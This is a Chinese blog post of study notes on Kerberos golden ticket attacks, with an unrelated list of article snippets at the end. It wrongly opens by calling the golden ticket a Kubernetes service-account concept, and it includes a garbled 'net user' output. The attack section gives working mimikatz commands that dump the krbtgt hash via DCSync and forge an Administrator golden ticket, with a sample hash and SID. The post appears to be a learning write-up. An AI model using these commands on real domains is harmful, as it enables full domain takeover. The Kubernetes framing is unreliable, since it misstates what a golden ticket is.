复现k8s黄金票据学习

1.什么是黄金票据

在 Kubernetes 中,"黄金票据"并不是一个常见的术语。可能你想了解的是服务账户(Service Account)。服务账户是 Kubernetes 中用于身份验证和授权的一种机制。它们允许 Pods 或其他工作负载在 Kubernetes 集群中与 API 服务器进行交互,并且可以通过角色绑定(Role Binding)或集群角色绑定(ClusterRole Binding)来授予特定的权限。服务账户通常用于确定哪些 Pod 具有对集群资源的访问权限。

幽默理解就是:

想象一下,这些“票据”就像是给你的应用程序一把通往 Kubernetes 世界的“金钥匙”,让它们可以自如地与 Kubernetes 集群交流,像是在黄金矿里挖掘自己的资源一样。

在Kerberos协议中,主要有以下三个角色:

  • 访问服务的客户端:Kerberos客户端是代表需要访问资源的用户进行操作的应用程序,例如打开文件、查询数据库或打印文档。每个Kerberos客户端在访问资源之前都会请求身份验证。

  • 提供服务的服务端:域内提供服务的服务端,服务端都有一个独一的SPN。

  • ‍提供认证服务的KDC(Key Distribution Center,密钥分发中心):KDC密钥发行中心是一种网络服务,它向活动目录域内的用户和计算机提供会话票据和临时会话密钥,其服务帐户为krbtgt。KDC作为活动目录域服务ADDS的一部分运行在每个域控制器上。 这里说一下krbtgt帐户,该用户是在创建活动目录时系统自动创建的一个账号,其作用是KDC密钥发行中心的服务账号,其密码是系统随机生成的,无法正常登陆主机。

  • net user krbtgtcomment
    Jser's comment
    country/region code
    Account active
    Account expires
    Password last set
    Password expires
    Password changeable
    Password required
    Jser may change password
    Workstations allowed
    ogon script
    Jser profile
    directoryHome
    .astlogon
    krbtgt
    密钥发行中心服务帐户
    000(system Default)NO
    Never
    

    Kerberos协议有两个基础认证模块:AS_REQ & AS_REPTGS_REQ & TGS_REP ,以及微软扩展的两个认证模块 S4U 和 PAC 。S4U是微软为了实现委派而扩展的模块,分为 S4U2Self 和 S4U2Proxy 。

在 AS-REP 阶段,由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的,因此如果我们拥有 krbtgt 的密码 hash 就可以自己制作一个TGT认购权证,这种攻击方式被称为黄金票据攻击。同样,在TGS-REP阶段,TGS_REP里面的ST服务票据是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以签发任意用户的ST服务票据,这个票据也被称为白银票据,这种攻击方式被称为白银票据攻击。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash。

在AS-REP阶段,Login session key是用用户密码 Hash 加密的。对于域用户,如果设置了“Do not require Kerberos preauthentication”不需要预认证选项,此时攻击者向域控制器的 88 端口发送 AS_REQ 请求,此时域控不会做任何验证就将 TGT认购权证 和 该用户Hash加密的Login Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Login Session Key进行离线破解,如果破解成功,就能得到该用户的密码明文,这种攻击方式被称为 AS-REP Roasting攻击

使用黄金票据(Golden Ticket)攻击时,需要以下信息:

  1. 域名
  2. 域的SID 值
  3. 域的KRBTGT账户NTLM密码哈希
  4. 伪造用户名

mimikatz工具,命令:lsadump::dcsync /domian:域名 /user:krbtgt

systeminfo
net time /domain
ipconfig /all
 


whoami /user

获取域的krbtgt ntml hash

mimikatz # privilege::debug
Privilege '20' 

mimikatz # lsadump::dcsync /domain:g3et.cn /user:krbtgt /csv
[DC] 'g3et.cn' will be the domain
[DC] 'WIN-8BK8IDHGL5P.g3et.cn' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  e3b30d549fd63dd07a8d4c301e9ccf21        514
 

伪造票据

kerberos::golden /krbtgt:e3b30d549fd63dd07a8d4c301e9ccf21 /admin:Administrator /domain:g3et.cn /sid:S-1-5-21-1280000652-1105608915-707843028 /ticket:g3et.kirbi
 

总结1、用域管理运行mimikatz抓取完所需的东西 ==>再到域用户机器上运行伪造票据.。2、krbtgt只存在域控上面,普通机器提权之类的无法获取到krbtgt的hash
3、黄金票据可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/792095.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PAC的架构细节

PAC的架构细节?硬件原理?PAC如何生成?如何检查?指令集?本博客探讨这些问题。

Java集合(个人整理笔记)

目录 1. 常见的集合有哪些? 2. 线程安全的集合有哪些?线程不安全的呢? 3. Arraylist与 LinkedList 异同点? 4. ArrayList 与 Vector 区别? 5. Array 和 ArrayList 有什么区别?什么时候该应 Array而不是…

Prometheus+grafana环境搭建方法及流程两种方式(docker和源码包)(一)

1.选型对比 最近项目上有对项目服务及中间件的监控需求,要做实现方案调研,总结一下自己的成果,目前业界主流可选的方案有: 国外开源: Prometheus:Prometheus - Monitoring system & time series dat…

前端订阅后端推送WebSocket定时任务

0.需求 后端定时向前端看板推送数据,每10秒或者30秒推送一次。 1.前言知识 HTTP协议是一个应用层协议,它的特点是无状态、无连接和单向的。在HTTP协议中,客户端发起请求,服务器则对请求进行响应。这种请求-响应的模式意味着服务器…

【史上最细教程】 Typora+PicGo+Gitee 实现发给别人的Typora笔记也能看到图片

文章目录 问题描述前提准备:操作步骤:1.Gitee新建项目作为图床、获取仓库访问密钥2.PicGo连接Gitee图床3.Typora连接PicGo 问题描述 Typora记录的笔记,图片保存默认在本地,这时候复制出来上传CSDN、或发给别人的时候图片就是空链…

HCIP实验--5

实验要求: 实现过程: (一)配置IP地址: AR1: [AR1]int g0/0/0 [AR1-GigabitEthernet0/0/0]ip add 200.1.1.1 24 Apr 3 2024 19:25:38-08:00 AR1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interf…

C++基础13:C++输入输出

此专栏为移动机器人知识体系下的编程语言中的 C {\rm C} C从入门到深入的专栏,参考书籍:《深入浅出 C {\rm C} C》(马晓锐)和《从 C {\rm C} C到 C {\rm C} C精通面向对象编程》(曾凡锋等)。 12.C输入/输出 12.1 C流类 计算机的输入和输出是数据传送的过…

Vue.js---------Vue基础

能够说出Vue的概念和作用能够使用vue/cli脚手架工程化开发能够熟练Vue指令 一.vue基本概念 1.学习vue Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化。 渐进…

间接调制和带通采样!!(非奈奎斯特采样定理)

1. 直接变频 前面讲解数字调制原理时,直接利用IQ调制将基带信号变换为频带信号,这种频率变换一般被称为直接上变频;解调时,直接利用IQ解调,将频带信号变换回基带信号,这种频率变换一般被称为直接下变频。直…

vue 使用自定义标签URL Protocol 调用本地exe 并传参

创建注册表文件reg,并运行 里面的路径需要替换成实际exe的绝对路径 Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\App] "URL:App Protocol Handler" "URL Protocol""" [HKEY_CLASSES_ROOT\App\DefaultIcon] &qu…

pycharm调试(步过(Step Over)、单步执行(Step Into)、步入(Step Into)、步出(Step Out))

pycharm调试 pycharm调试 pycharm调试为什么要学会调试?1. 步过 (Step Over)2. 单步执行 (Step Into)3. 步入(Step Into)4. 步出(Step Out) 为什么要学会调试? 调试可以帮助初学者更深入地理解编程基础&am…

【Android、 kotlin】kotlin学习笔记

基本语法 fun main(){val a2var b "Hello"println("$ (a - 1} $b Kotlin!")} Variables 只赋值一次用val read-only variables with val 赋值多次用var mutable variables with var Standard output printin() and print() functions String templ…

NKCTF2024 re VM?VM!WP

逻辑似乎很简单(个鬼啊) 这个函数是把输入的字符转化为二进制并倒序存储 sub_1570太大了加载不出来,应该是加密的主逻辑,目的是需要输出1 可以通过删除栈的方法强行转化伪代码 首先删掉这部分 9A0改小点 这个也是 栈这里U一下再…

DFS:深搜+回溯+剪枝解决组合问题

创作不易,感谢支持!!! 一、电话号码的组合 . - 力扣(LeetCode) class Solution { public:string hash[10]{"","","abc","def","ghi","jkl","mno","pqrs"…

爬虫部署平台crawlab使用说明

Crawlab 是一个基于 Go 语言的分布式网络爬虫管理平台,它支持 Python、Node.js、Jar、EXE 等多种类型的爬虫。 Crawlab 提供了一个可视化的界面,并且可以通过简单的配置来管理和监控爬虫程序。 以下是 Crawlab 的一些主要优点: 集中管理&am…

【C】leetcode力扣—— 141. 环形链表Ⅰ

目录 141. 环形链表 Ⅰ题目解题思路分析暴力求解??快慢指针 代码 141. 环形链表 Ⅰ 题目链接: https://leetcode.cn/problems/linked-list-cycle/description/ 题目 题目 给你一个链表的头节点 head ,判断链表中是否有环。 如果链表中有某…

E-魔法猫咪(遇到过的题,做个笔记)

题解: 来自学长们思路: 其中一种正解是写单调队列。限制队列内的数单调递增,方法为每当新来的数据比当前队尾数据小时队 尾出列,直到能够插入当前值,这保证了队头永远是最小值。因此总体思路是队尾不断插入新值的同时 …

openlayers 入门教程(九):overlay 篇

还是大剑师兰特:曾是美国某知名大学计算机专业研究生,现为航空航海领域高级前端工程师;CSDN知名博主,GIS领域优质创作者,深耕openlayers、leaflet、mapbox、cesium,canvas,webgl,ech…

vue-cli打包 nodejs内存溢出 vue2.x Last few GCs

遇到这种情况百度各种博客,什么改package.json里的配置,什么安装increase-memory-limit ,都尝试了并没什么用处,最后解决方案为执行下方名单,再次打包就成功了: export NODE_OPTIONS--max_old_space_size4…

单元测试 mockito(二)

1.返回指定值 2.void返回值指定插桩 3.插桩的两种方式 when(obj.someMethod()).thenXxx():其中obj可以是mock对象 doXxx().wien(obj).someMethod():其中obj可以是mock/spy对象 spy对象在没有插桩时是调用真实方法的,写在when中会导致先执行一次原方法,达不到mock的目的&#x…